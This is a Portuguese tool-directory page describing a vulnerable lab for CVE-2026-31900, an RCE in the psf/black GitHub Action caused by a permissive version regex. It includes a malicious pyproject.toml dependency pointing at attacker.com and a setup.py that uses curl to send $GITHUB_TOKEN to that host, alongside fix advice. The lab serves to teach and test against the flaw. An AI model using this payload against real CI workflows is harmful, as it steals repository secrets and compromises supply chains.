Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-31900-lab — CVE-2026-31900 Laboratório Vulnerável - RCE na GitHub Action do psf/black | Kitploit
Ferramentas/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
Análise de VulnerabilidadesExploraçãoSegurança WebSegurança da Cadeia de SuprimentosAprendizado e EducaçãoLabs e Prática
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 Laboratório Vulnerável - RCE na GitHub Action do psf/black

Ver Repositório
11há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-31900 — Laboratório Vulnerável

RCE na GitHub Action do psf/black via Validação de Regex Insegura

CampoDetalhe
CVECVE-2026-31900
CVSS8.7 (Alto)
AvisoGHSA-v53h-f6m7-xcgm
Afetadopsf/black GitHub Action < v26.3.0
TipoRCE via Supply Chain (gatilho pull_request)

Vulnerabilidade

A opção use_pyproject: true lê a versão do Black a partir de pyproject.toml. A regex usada para validar a string de versão é excessivamente permissiva devido a re.IGNORECASE, permitindo caracteres como espaço, @, : e / — exatamente o que é necessário para um requisito de URL PEP 508.

Regex Vulnerável

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

Vetor de Ataque

  1. Faça um fork deste repositório
  2. Modifique o pyproject.toml no seu fork:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Abra um Pull Request → o gatilho do workflow pull_request é acionado
  2. A Action lê a versão maliciosa de pyproject.toml, contornando a validação da regex
  3. O pip instala o pacote controlado pelo atacante → setup.py executa código arbitrário

Exemplo de setup.py de Pacote Malicioso

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

Impacto de Roubo de Credenciais

  • $GITHUB_TOKEN (token do runner de CI)
  • Quaisquer segredos injetados no ambiente do workflow

Correção

Atualize para psf/black v26.3.0 ou fixe a versão explicitamente no YAML do workflow em vez de usar use_pyproject: true.

Estrutura do Laboratório

root@kitploit:~
.github/workflows/black.yml   ← Workflow vulnerável (use_pyproject: true)
pyproject.toml                ← Config legítima (branch main)
app.py                        ← Arquivo Python de exemplo sendo formatado
Baixar ferramenta